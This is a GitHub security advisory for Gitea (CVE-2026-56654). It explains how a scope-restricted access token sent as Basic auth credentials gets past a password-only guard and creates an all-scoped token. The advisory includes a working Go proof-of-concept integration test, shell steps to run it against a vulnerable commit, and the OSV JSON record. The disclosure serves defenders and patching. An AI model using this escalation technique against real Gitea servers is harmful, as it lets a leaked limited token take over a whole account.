GHSA-683J-3FF6-HH2X
Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.
Data flow
Step 1 - Token extracted from Basic auth header
When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64
VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106
Step 2 - AuthedMethod is set to "basic", not "access_token"
Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65
Step 3 - IsBasicAuth is incorrectly set to true
AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27
Step 4 - The guard is bypassed
reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401
Step 5 - No scope ceiling in the handler
CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128
Reproducing
tests/integration/api_token_scope_escalation_test.go
package integration
import (
"net/http"
"testing"
auth_model "gitea.dev/models/auth"
"gitea.dev/models/unittest"
user_model "gitea.dev/models/user"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
// the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
// handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
// even though the credential is a token, not a password.
//
// 2. CreateAccessToken performs no scope-ceiling check — it never verifies that
// the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Non-admin user — escalation is meaningful and not trivially justified.
user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
// Only write:user scope is granted; repository, admin, etc. are excluded.
restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
defer deleteAPIAccessToken(t, restrictedToken, user)
// Confirm the restricted token is blocked from repository-scoped endpoints.
// This establishes the baseline: write:user does not imply read:repository.
req := NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(restrictedToken.Token)
MakeRequest(t, req, http.StatusForbidden)
// Step 2 — Exploit: supply the restricted token as Basic auth credentials.
// Authorization: Basic base64("<token>:x-oauth-basic")
//
// Basic.Verify() validates the token and returns the user. group.Verify() then
// sets AuthedMethod="basic" (the method name). auth.go maps that to
// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
// password was provided. CreateAccessToken then creates the token with the
// requested "all" scope without checking whether it exceeds the caller's scope.
payload := map[string]any{
"name": "poc-escalated",
"scopes": []string{"all"},
}
req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")
// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
// but is currently 201, confirming the vulnerability.
resp := MakeRequest(t, req, http.StatusCreated)
escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
require.NotNil(t, escalatedToken)
defer deleteAPIAccessToken(t, *escalatedToken, user)
// Step 3 — The escalated token carries the "all" scope.
assert.Contains(t, escalatedToken.Scopes, "all",
"escalated token scope must be 'all'; original token only had write:user")
// Step 4 — The escalated token can now reach endpoints blocked to the original
// token, confirming real privilege gain beyond write:user.
req = NewRequest(t, "GET", "/api/v1/repos/search").
AddTokenAuth(escalatedToken.Token)
MakeRequest(t, req, http.StatusOK)
}
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.
go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/
A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56654"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:24:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Gitea\u0027s API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling \u2014 it will create a new token with any requested scope regardless of the caller\u0027s scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token\u0027s actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method\u0027s name \u2014 `\"basic\"` \u2014 regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n// 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n// the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n// handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n// even though the credential is a token, not a password.\n//\n// 2. CreateAccessToken performs no scope-ceiling check \u2014 it never verifies that\n// the requested scopes are a subset of the caller\u0027s token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user \u2014 escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t// Step 1 \u2014 Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 \u2014 Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller\u0027s scope.\n\tpayload := map[string]any{\n\t\t\"name\": \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, \u0026api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 \u2014 The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be \u0027all\u0027; original token only had write:user\")\n\n\t// Step 4 \u2014 The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run \u0027^TestAPIPrivilegeEscalationViaBasicAuthToken$\u0027 ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.",
"id": "GHSA-683j-3ff6-hh2x",
"modified": "2026-07-21T20:24:26Z",
"published": "2026-07-21T20:24:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38406"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38426"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: Privilege Escalation via Access Token Scope Escalation in API"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.